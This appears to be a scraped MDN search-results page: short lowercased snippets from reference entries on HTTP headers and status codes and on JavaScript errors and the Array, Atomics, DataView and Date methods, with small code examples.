WebHTTPHeadersETag
if the resource at a given url changes, a new etag value must be generated.
Expect-CT - HTTP
since may 2018 new certificates are expected to support scts by default.
Feature-Policy: publickey-credentials-get - HTTP
the http feature-policy header publickey-credentials-get directive controls whether the current document is allowed to access web authentcation api to create new public-key credentials, i.e, via navigator.credentials.get({publickey: ..., ...}).
If-Match - HTTP
WebHTTPHeadersIf-Match
there are two common use cases: for get and head methods, used in combination with a range header, it can guarantee that the new ranges requested comes from the same resource than the previous one.
If-Unmodified-Since - HTTP
in conjunction with a range request with a if-range header, it can be used to ensure that the new fragment requested comes from an unmodified document.
Retry-After - HTTP
when sent with a 429 (too many requests) response, this indicates how long to wait before making a new request.
Sec-WebSocket-Accept - HTTP
header type response header forbidden header name no syntax sec-websocket-accept: <hashed key> directives <hashed key> the server takes the value of the sec-websocket-key sent in the handshake request, appends 258eafa5-e914-47da-95ca-c5ab0dc85b11, takes sha-1 of the new value, and is then base64 encoded.
Upgrade - HTTP
WebHTTPHeadersUpgrade
for example: http/1.1 101 switching protocols upgrade: foo/2 connection: upgrade send a response to the original request using the new protocol (the server may only switch to a protocol with which it can complete the original request).
Firefox user agent string reference - HTTP
the first two digits are owned by the mozilla product team and denote versions with new features (eg: v1.1, 1.2, etc).
X-Frame-Options - HTTP
configuring haproxy to configure haproxy to send the x-frame-options header, add this to your front-end, listen, or backend configuration: rspadd x-frame-options:\ sameorigin alternatively, in newer versions: http-response set-header x-frame-options sameorigin configuring express to configure express to send the x-frame-options header, you can use helmet which uses frameguard to set the header.
Link prefetching FAQ - HTTP
in fact, the html 4.01 specification explicitly allows for the definition of new link relation types (see section 6.12: link types).
HTTP Messages - HTTP
WebHTTPMessages
the http/2 framing mechanism adds a new intermediate layer between the http/1.x syntax and the underlying transport protocol, without fundamentally modifying it: building upon proven mechanisms.
POST - HTTP
WebHTTPMethodsPOST
as described in the http 1.1 specification, post is designed to allow a uniform method to cover the following functions: annotation of existing resources posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles; adding a new user through a signup modal; providing a block of data, such as the result of submitting a form, to a data-handling process; extending a database through an append operation.
HTTP Public Key Pinning (HPKP) - HTTP
extracting the base64 encoded public key information note: while the example below shows how to set a pin on a server certificate, it is recommended to place the pin on the intermediate certificate of the ca that issued the server certificate, to ease certificates renewals and rotations.
A typical HTTP session - HTTP
WebHTTPSession
eta charset="utf-8"> <title>a simple webpage</title> </head> <body> <h1>simple html5 webpage</h1> <p>hello, world!</p> </body> </html> notification that the requested resource has permanently moved: http/1.1 301 moved permanently server: apache/2.4.37 (red hat) content-type: text/html; charset=utf-8 date: thu, 06 dec 2018 17:33:08 gmt location: https://developer.mozilla.org/ (this is the new link to the resource; it is expected that the user-agent will fetch it) keep-alive: timeout=15, max=98 accept-ranges: bytes via: moz-cache-zlb05 connection: keep-alive content-length: 325 (the content contains a default page to display if the user-agent is not able to follow the link) <!doctype html...
201 Created - HTTP
WebHTTPStatus201
the new resource is effectively created before this response is sent back and the new resource is returned in the body of the message, its location being either the url of the request, or the content of the location header.
204 No Content - HTTP
WebHTTPStatus204
if the page should be changed to the newly updated page, the 200 should be used instead.
301 Moved Permanently - HTTP
WebHTTPStatus301
a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new url).
302 Found - HTTP
WebHTTPStatus302
a browser redirects to this page but search engines don't update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is not sent to the new url).
303 See Other - HTTP
WebHTTPStatus303
the hypertext transfer protocol (http) 303 see other redirect status response code indicates that the redirects don't link to the newly uploaded resources, but to another page (such as a confirmation page or an upload progress page).
308 Permanent Redirect - HTTP
WebHTTPStatus308
a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new url).
429 Too Many Requests - HTTP
WebHTTPStatus429
a retry-after header might be included to this response indicating how long to wait before making a new request.
HTTP
WebHTTP
iana also maintains a registry of proposed new http message headers.
About JavaScript - JavaScript
the basic syntax is intentionally similar to both java and c++ to reduce the number of new concepts required to learn the language.
Loops and iteration - JavaScript
<form name="selectform"> <p> <label for="musictypes">choose some music types, then click the button below:</label> <select id="musictypes" name="musictypes" multiple="multiple"> <option selected="selected">r&b</option> <option>jazz</option> <option>blues</option> <option>new age</option> <option>classical</option> <option>opera</option> </select> </p> <p><input id="btn" type="button" value="how many are selected?" /></p> </form> <script> function howmany(selectobject) { let numberselected = 0; for (let i = 0; i < selectobject.options.length; i++) { if (selectobject.options[i].selected) { numberselected++; } } return numberse...
Assertions - JavaScript
buggymultiline = `tey, ihe light-greon apple tangs on ihe greon traa`; // 1) use ^ to fix the matching at the begining of the string, and right after newline.
Character classes - JavaScript
so to match a pattern across multiple lines, the character set [^] can be used — it will match any character including newlines.
Quantifiers - JavaScript
for example, given a string like "some <foo> <bar> new </bar> </foo> thing": /<.*>/ will match "<foo> <bar> new </bar> </foo>" /<.*?>/ will match "<foo>" examples repeated pattern var wordendingwithas = /\w+a+\b/; var delicatemessage = "this is spartaaaaaaa"; console.table(delicatemessage.match(wordendingwithas)); // [ "spartaaaaaaa" ] counting characters var singleletterword = /\b\w\b/g; var notsolongword = /\b\...
JavaScript language resources - JavaScript
it includes es5 errata fixes, no new features.
static - JavaScript
class triple { static triple(n = 1) { return n * 3; } } class biggertriple extends triple { static triple(n) { return super.triple(n) * super.triple(n); } } console.log(triple.triple()); // 3 console.log(triple.triple(6)); // 18 var tp = new triple(); console.log(biggertriple.triple(3)); // 81 (not affected by parent's instantiation) console.log(tp.triple()); // 'tp.triple is not a function'.
The legacy Iterator protocol - JavaScript
simple example with the old protocol function makeiterator(array){ var nextindex = 0; return { next: function(){ if(nextindex < array.length){ return array[nextindex++]; else throw new stopiteration(); } } } var it = makeiterator(['yo', 'ya']); console.log(it.next()); // 'yo' console.log(it.next()); // 'ya' try{ console.log(it.next()); } catch(e){ if(e instanceof stopiteration){ // iteration over } } ...
TypeError: can't assign to property "x" on "y": not an object - JavaScript
'use strict'; var foo = new string("my string"); foo.bar = {}; ...
TypeError: cyclic object value - JavaScript
the snippet below illustrates how to find and filter (thus causing data loss) a cyclic reference by using the replacer parameter of json.stringify(): const getcircularreplacer = () => { const seen = new weakset(); return (key, value) => { if (typeof value === "object" && value !== null) { if (seen.has(value)) { return; } seen.add(value); } return value; }; }; json.stringify(circularreference, getcircularreplacer()); // {"otherdata":123} ...
SyntaxError: missing : after property id - JavaScript
var obj = { propertykey = 'value' }; // syntaxerror: missing : after property id correct would be to use a colon, or to use square brackets to assign a new property after the object has been created already.
TypeError: "x" is not a non-null object - JavaScript
var ws = new weakset(); ws.add('foo'); // typeerror: "foo" is not a non-null object use objects instead: ws.add({foo: 'bar'}); ws.add(window); ...
TypeError: can't delete non-configurable array element - JavaScript
when shortening an array, the elements beyond the new array length will be deleted, which failed in this situation.
TypeError: "x" is not a function - JavaScript
var dog = function () { this.age = 11; this.color = "black"; this.name = "ralph"; return this; } dog.prototype.name = function(name) { this.name = name; return this; } var mynewdog = new dog(); mynewdog.name("cassidy"); //uncaught typeerror: mynewdog.name is not a function use a different property name instead: var dog = function () { this.age = 11; this.color = "black"; this.dogname = "ralph"; //using this.dogname instead of .name return this; } dog.prototype.name = function(name) { this.dogname = name; return this; } var mynewdog = new dog(); mynewdog.name(...
TypeError: "x" is read-only - JavaScript
the global variable undefined is also read-only, so you can't silence the infamous "undefined is not a function" error by doing this: 'use strict'; undefined = function() {}; // typeerror: "undefined" is read-only valid cases 'use strict'; var obj = object.freeze({name: 'score', points: 157}); obj = {name: obj.name, points: 0}; // replacing it with a new object works 'use strict'; var lung_count = 2; // a `var` works, because it's not read-only lung_count = 3; // ok (anatomically unlikely, though) ...
SyntaxError: redeclaration of formal parameter "x" - JavaScript
if you want to create a new variable, you need to rename it as conflicts with the function parameter already.
SyntaxError: "x" is a reserved identifier - JavaScript
var colorenum = { red: 0, green: 1, blue: 2 }; var list = ["potatoes", "rice", "fries"]; update older browsers if you are using an older browser that does not yet implement let or class, for example, you should update to a more recent browser version that does support these new language features.
TypeError: 'x' is not iterable - JavaScript
var obj = { 'france': 'paris', 'england': 'london' }; // iterate over the property names: for (let country of object.keys(obj)) { var capital = obj[country]; console.log(country, capital); } for (const [country, capital] of object.entries(obj)) console.log(country, capital); another option for this use case might be to use a map: var map = new map; map.set('france', 'paris'); map.set('england', 'london'); // iterate over the property names: for (let country of map.keys()) { let capital = map[country]; console.log(country, capital); } for (let capital of map.values()) console.log(capital); for (const [country, capital] of map.entries()) console.log(country, capital); iterating over a generator generators are functio...
JavaScript error reference - JavaScript
totype.sort argumenttypeerror: invalid argumentstypeerror: invalid assignment to const "x"typeerror: property "x" is non-configurable and can't be deletedtypeerror: setting getter-only property "x"typeerror: variable "x" redeclares argumenturierror: malformed uri sequencewarning: 08/09 is not a legal ecma-262 octal constantwarning: -file- is being assigned a //# sourcemappingurl, but already has onewarning: date.prototype.tolocaleformat is deprecatedwarning: javascript 1.6's for-each-in loops are deprecatedwarning: string.x is deprecated; use string.prototype.x insteadwarning: expression closures are deprecatedwarning: unreachable code after return statement ...
Default parameters - JavaScript
so, unlike (for example) python, a new object is created each time the function is called.
Method definitions - JavaScript
const obja = { method() {} } new obja.method // typeerror: obj.method is not a constructor const objb = { * g() {} } new objb.g // typeerror: obj.g is not a constructor (changed in es2016) examples simple test case const obj = { a: 'foo', b() { return this.a } }; console.log(obj.b()) // "foo" computed property names the shorthand syntax also supports computed property names.
arguments.callee - JavaScript
n) { if (n <= 1) return 1; return n * arguments.callee(n - 1); }; } var result = create()(5); // returns 120 (5 * 4 * 3 * 2 * 1) a use of arguments.callee with no good alternative however, in a case like the following, there are not alternatives to arguments.callee, so its deprecation could be a bug (see bug 725398): function createperson(sidentity) { var operson = new function('alert(arguments.callee.identity);'); operson.identity = sidentity; return operson; } var john = createperson('john smith'); john(); specifications specification ecmascript (ecma-262)the definition of 'arguments exotic objects' in that specification.
setter - JavaScript
( { set x(v) { }, set x(v) { } } and { x: ..., set x(v) { } } are forbidden ) examples defining a setter on new objects in object initializers the following example define a pseudo-property current of object language.
Array.prototype.fill() - JavaScript
if (this == null) { throw new typeerror('this is null or not defined'); } var o = object(this); // steps 3-5.
Array.prototype.forEach() - JavaScript
5, , 9].foreach(logarrayelements) // logs: // a[0] = 2 // a[1] = 5 // a[3] = 9 using thisarg the following (contrived) example updates an object's properties from each entry in the array: function counter() { this.sum = 0 this.count = 0 } counter.prototype.add = function(array) { array.foreach((entry) => { this.sum += entry ++this.count }, this) // ^---- note } const obj = new counter() obj.add([2, 5, 9]) obj.count // 3 obj.sum // 16 since the thisarg parameter (this) is provided to foreach(), it is passed to callback each time it's invoked.
Array.prototype.join() - JavaScript
the join() method creates and returns a new string by concatenating all of the elements in an array (or an array-like object), separated by commas or a specified separator string.
Array.prototype.lastIndexOf() - JavaScript
// production steps of ecma-262, edition 5, 15.4.4.15 // reference: http://es5.github.io/#x15.4.4.15 if (!array.prototype.lastindexof) { array.prototype.lastindexof = function(searchelement /*, fromindex*/) { 'use strict'; if (this === void 0 || this === null) { throw new typeerror(); } var n, k, t = object(this), len = t.length >>> 0; if (len === 0) { return -1; } n = len - 1; if (arguments.length > 1) { n = number(arguments[1]); if (n != n) { n = 0; } else if (n != 0 && n != (1 / 0) && n != -(1 / 0)) { n = (n > 0 || -1) * math.floor(math.abs(n)); } } for (k = n >= ...
Array.prototype.length - JavaScript
var namelista = new array(4294967296); //2 to the 32nd power = 4294967296 var namelistc = new array(-100) //negative sign console.log(namelista.length); //rangeerror: invalid array length console.log(namelistc.length); //rangeerror: invalid array length var namelistb = []; namelistb.length = math.pow(2,32)-1; //set array length less than 2 to the 32nd power console.log(namelistb.length); //4294967295 you can ...
Array.prototype.some() - JavaScript
// production steps of ecma-262, edition 5, 15.4.4.17 // reference: http://es5.github.io/#x15.4.4.17 if (!array.prototype.some) { array.prototype.some = function(fun, thisarg) { 'use strict'; if (this == null) { throw new typeerror('array.prototype.some called on null or undefined'); } if (typeof fun !== 'function') { throw new typeerror(); } var t = object(this); var len = t.length >>> 0; for (var i = 0; i < len; i++) { if (i in t && fun.call(thisarg, t[i], i, t)) { return true; } } return false; }; } examples testing value of array elements the ...
Array.prototype.toLocaleString() - JavaScript
if (this == null) { throw new typeerror('"this" is null or not defined'); } var a = object(this); // 2.
Array.prototype.toSource() - JavaScript
examples examining the source code of an array to examine the source code of an array: var alpha = new array('a', 'b', 'c'); alpha.tosource(); //returns ['a', 'b', 'c'] specifications not part of any standard.
ArrayBuffer.prototype.byteLength - JavaScript
examples using bytelength var buffer = new arraybuffer(8); buffer.bytelength; // 8 specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.bytelength' in that specification.
ArrayBuffer.isView() - JavaScript
examples using isview arraybuffer.isview(); // false arraybuffer.isview([]); // false arraybuffer.isview({}); // false arraybuffer.isview(null); // false arraybuffer.isview(undefined); // false arraybuffer.isview(new arraybuffer(10)); // false arraybuffer.isview(new uint8array()); // true arraybuffer.isview(new float32array()); // true arraybuffer.isview(new int8array(10).subarray(0, 3)); // true const buffer = new arraybuffer(2); const dv = new dataview(buffer); arraybuffer.isview(dv); // true specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.isview' ...
Atomics.add() - JavaScript
examples using add() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.add' in that specification.
Atomics.and() - JavaScript
5 0101 1 0001 ---- 1 0001 examples using and() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.and(ta, 0, 1); // returns 0, the old value atomics.load(ta, 0); // 1 specifications specification ecmascript (ecma-262)the definition of 'atomics.and' in that specification.
Atomics.compareExchange() - JavaScript
examples using compareexchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 7; atomics.compareexchange(ta, 0, 7, 12); // returns 7, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.compareexchange' in that specification.
Atomics.load() - JavaScript
examples using load const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.load' in that specification.
Atomics.or() - JavaScript
5 0101 1 0001 ---- 5 0101 examples using or const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 2; atomics.or(ta, 0, 1); // returns 2, the old value atomics.load(ta, 0); // 3 specifications specification ecmascript (ecma-262)the definition of 'atomics.or' in that specification.
Atomics.store() - JavaScript
examples using store() var sab = new sharedarraybuffer(1024); var ta = new uint8array(sab); atomics.store(ta, 0, 12); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.store' in that specification.
Atomics.sub() - JavaScript
examples using sub const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 48; atomics.sub(ta, 0, 12); // returns 48, the old value atomics.load(ta, 0); // 36 specifications specification ecmascript (ecma-262)the definition of 'atomics.sub' in that specification.
Atomics.xor() - JavaScript
5 0101 1 0001 ---- 4 0100 examples using xor const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.xor(ta, 0, 1); // returns 5, the old value atomics.load(ta, 0); // 4 specifications specification ecmascript (ecma-262)the definition of 'atomics.xor' in that specification.
BigInt - JavaScript
if (0n) { console.log('hello from the if!') } else { console.log('hello from the else!') } // ↪ "hello from the else!" 0n || 12n // ↪ 12n 0n && 12n // ↪ 0n boolean(0n) // ↪ false boolean(12n) // ↪ true !12n // ↪ false !0n // ↪ true constructor bigint() creates a new bigint value.
Boolean.prototype.toString() - JavaScript
examples using tostring() in the following code, flag.tostring() returns "true": var flag = new boolean(true); var myvar = flag.tostring(); specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.tostring' in that specification.
Boolean.prototype.valueOf() - JavaScript
examples using valueof() x = new boolean(); myvar = x.valueof(); // assigns false to myvar specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.valueof' in that specification.
DataView.prototype.buffer - JavaScript
examples using the buffer property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.buffer' in that specification.
DataView.prototype.byteLength - JavaScript
examples using the bytelength property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.bytelength; // 8 (matches the bytelength of the buffer) var dataview2 = new dataview(buffer, 1, 5); dataview2.bytelength; // 5 (as specified when constructing the dataview) var dataview3 = new dataview(buffer, 2); dataview3.bytelength; // 6 (due to the offset of the constructed dataview) specifications specification ...
DataView.prototype.byteOffset - JavaScript
examples using the byteoffset property var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.byteoffset; // 0 (no offset specified) var dataview2 = new dataview(buffer, 3); dataview2.byteoffset; // 3 (as specified when constructing the dataview) specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.byteoffset' in that specification.
DataView.prototype.getBigInt64() - JavaScript
examples using the getbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbigint64()' in that specification.
DataView.prototype.getBigUint64() - JavaScript
examples using the getbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbiguint64()' in that specification.
DataView.prototype.getFloat32() - JavaScript
examples using the getfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat32' in that specification.
DataView.prototype.getFloat64() - JavaScript
examples using the getfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat64' in that specification.
DataView.prototype.getInt16() - JavaScript
examples using the getint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint16' in that specification.
DataView.prototype.getInt32() - JavaScript
examples using the getint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint32' in that specification.
DataView.prototype.getInt8() - JavaScript
examples using the getint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint8' in that specification.
DataView.prototype.getUint16() - JavaScript
examples using the getuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint16' in that specification.
DataView.prototype.getUint32() - JavaScript
examples using the getuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint32' in that specification.
DataView.prototype.getUint8() - JavaScript
examples using the getuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint8' in that specification.
DataView.prototype.setBigInt64() - JavaScript
examples using the setbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbigint64(0, 3n); dataview.getbigint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbigint64()' in that specification.
DataView.prototype.setBigUint64() - JavaScript
examples using the setbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbiguint64(0, 3n); dataview.getbiguint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbiguint64()' in that specification.
DataView.prototype.setFloat32() - JavaScript
examples using the setfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat32(1, 3); dataview.getfloat32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat32' in that specification.
DataView.prototype.setFloat64() - JavaScript
examples using the setfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat64(0, 3); dataview.getfloat64(0); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat64' in that specification.
DataView.prototype.setInt16() - JavaScript
examples using the setint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint16(1, 3); dataview.getint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint16' in that specification.
DataView.prototype.setInt32() - JavaScript
examples using the setint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint32(1, 3); dataview.getint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint32' in that specification.
DataView.prototype.setInt8() - JavaScript
examples using the setint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint8(1, 3); dataview.getint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint8' in that specification.
DataView.prototype.setUint16() - JavaScript
examples using the setuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint16(1, 3); dataview.getuint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint16' in that specification.
DataView.prototype.setUint32() - JavaScript
examples using the setuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint32(1, 3); dataview.getuint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint32' in that specification.
DataView.prototype.setUint8() - JavaScript
examples using the setuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint8(1, 3); dataview.getuint8(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint8' in that specification.
Date.prototype[@@toPrimitive] - JavaScript
examples returning date primitives const testdate = new date(1590757517834); // "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('string'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('number'); // returns "1590757517834" testdate[symbol.toprimitive]('default'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" specificatio...
Date.UTC() - JavaScript
examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate = new date(date.utc(2018, 11, 1, 0, 0, 0)); specifications specification ecmascript (ecma-262)the definition of 'date.utc' in that specification.
Date.prototype.getDate() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var day = xmas95.getdate(); console.log(day); // 25 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getdate' in that specification.
Date.prototype.getFullYear() - JavaScript
var today = new date(); var year = today.getfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getfullyear' in that specification.
Date.prototype.getHours() - JavaScript
let xmas95 = new date('december 25, 1995 23:15:30'); let hours = xmas95.gethours(); console.log(hours); // 23 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gethours' in that specification.
Date.prototype.getMilliseconds() - JavaScript
examples using getmilliseconds() the following example assigns the milliseconds portion of the current time to the variable milliseconds: var today = new date(); var milliseconds = today.getmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmilliseconds' in that specification.
Date.prototype.getMinutes() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var minutes = xmas95.getminutes(); console.log(minutes); // 15 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getminutes' in that specification.
Date.prototype.getSeconds() - JavaScript
var xmas95 = new date('december 25, 1995 23:15:30'); var seconds = xmas95.getseconds(); console.log(seconds); // 30 specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getseconds' in that specification.
Date.prototype.getTimezoneOffset() - JavaScript
examples using gettimezoneoffset() // get current timezone offset for host device let x = new date(); let currenttimezoneoffsetinhours = x.gettimezoneoffset() / 60; // 1 // get timezone offset for international labour day (may 1) in 2016 // be careful, the date() constructor uses 0-indexed months, so may is // represented with 4 (and not 5) let labourday = new date(2016, 4, 1) let labourdayoffset = labourday.gettimezoneoffset() / 60; specifications specification ...
Date.prototype.getUTCDate() - JavaScript
var today = new date(); var day = today.getutcdate(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcdate' in that specification.
Date.prototype.getUTCDay() - JavaScript
var today = new date(); var weekday = today.getutcday(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcday' in that specification.
Date.prototype.getUTCFullYear() - JavaScript
var today = new date(); var year = today.getutcfullyear(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcfullyear' in that specification.
Date.prototype.getUTCHours() - JavaScript
var today = new date(); var hours = today.getutchours(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutchours' in that specification.
Date.prototype.getUTCMilliseconds() - JavaScript
var today = new date(); var milliseconds = today.getutcmilliseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmilliseconds' in that specification.
Date.prototype.getUTCMinutes() - JavaScript
var today = new date(); var minutes = today.getutcminutes(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcminutes' in that specification.
Date.prototype.getUTCMonth() - JavaScript
var today = new date(); var month = today.getutcmonth(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmonth' in that specification.
Date.prototype.getUTCSeconds() - JavaScript
var today = new date(); var seconds = today.getutcseconds(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcseconds' in that specification.
Date.now() - JavaScript
engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings.
Date.prototype.setDate() - JavaScript
examples using setdate() var thebigday = new date(1962, 6, 7); // 1962-07-07 (7th of july 1962) thebigday.setdate(24); // 1962-07-24 (24th of july 1962) thebigday.setdate(32); // 1962-08-01 (1st of august 1962) thebigday.setdate(22); // 1962-08-22 (22th of august 1962) thebigday.setdate(0); // 1962-07-31 (31th of july 1962) thebigday.setdate(98); // 1962-10-06 (6th of october 1962) thebigday.setdate(-50); // 1962-08-11 (11th of august...
Date.prototype.setHours() - JavaScript
examples using sethours() var thebigday = new date(); thebigday.sethours(7); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.sethours' in that specification.
Date.prototype.setMilliseconds() - JavaScript
examples using setmilliseconds() var thebigday = new date(); thebigday.setmilliseconds(100); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmilliseconds' in that specification.
Date.prototype.setMinutes() - JavaScript
examples using setminutes() var thebigday = new date(); thebigday.setminutes(45); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setminutes' in that specification.
Date.prototype.setSeconds() - JavaScript
examples using setseconds() var thebigday = new date(); thebigday.setseconds(30); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setseconds' in that specification.
Date.prototype.setTime() - JavaScript
examples using settime() var thebigday = new date('july 1, 1999'); var sameasbigday = new date(); sameasbigday.settime(thebigday.gettime()); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.settime' in that specification.
Date.prototype.setUTCDate() - JavaScript
examples using setutcdate() var thebigday = new date(); thebigday.setutcdate(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcdate' in that specification.
Date.prototype.setUTCFullYear() - JavaScript
examples using setutcfullyear() var thebigday = new date(); thebigday.setutcfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcfullyear' in that specification.
Date.prototype.setUTCHours() - JavaScript
examples using setutchours() var thebigday = new date(); thebigday.setutchours(8); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutchours' in that specification.
Date.prototype.setUTCMilliseconds() - JavaScript
examples using setutcmilliseconds() var thebigday = new date(); thebigday.setutcmilliseconds(500); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmilliseconds' in that specification.
Date.prototype.setUTCMinutes() - JavaScript
examples using setutcminutes() var thebigday = new date(); thebigday.setutcminutes(43); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcminutes' in that specification.
Date.prototype.setUTCMonth() - JavaScript
examples using setutcmonth() var thebigday = new date(); thebigday.setutcmonth(11); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcmonth' in that specification.
Date.prototype.setUTCSeconds() - JavaScript
examples using setutcseconds() var thebigday = new date(); thebigday.setutcseconds(20); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutcseconds' in that specification.
Date.prototype.setYear() - JavaScript
var thebigday = new date(); thebigday.setyear(96); thebigday.setyear(1996); thebigday.setyear(2000); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setyear' in that specification.
Date.prototype.toDateString() - JavaScript
examples a basic usage of todatestring() var d = new date(1993, 5, 28, 14, 39, 7); console.log(d.tostring()); // logs mon jun 28 1993 14:39:07 gmt-0600 (pdt) console.log(d.todatestring()); // logs mon jun 28 1993 note: month are 0-indexed when used as an argument of date (thus 0 corresponds to january and 11 to december).
Date.prototype.toGMTString() - JavaScript
var today = new date(); var str = today.togmtstring(); // deprecated!
Date.prototype.toISOString() - JavaScript
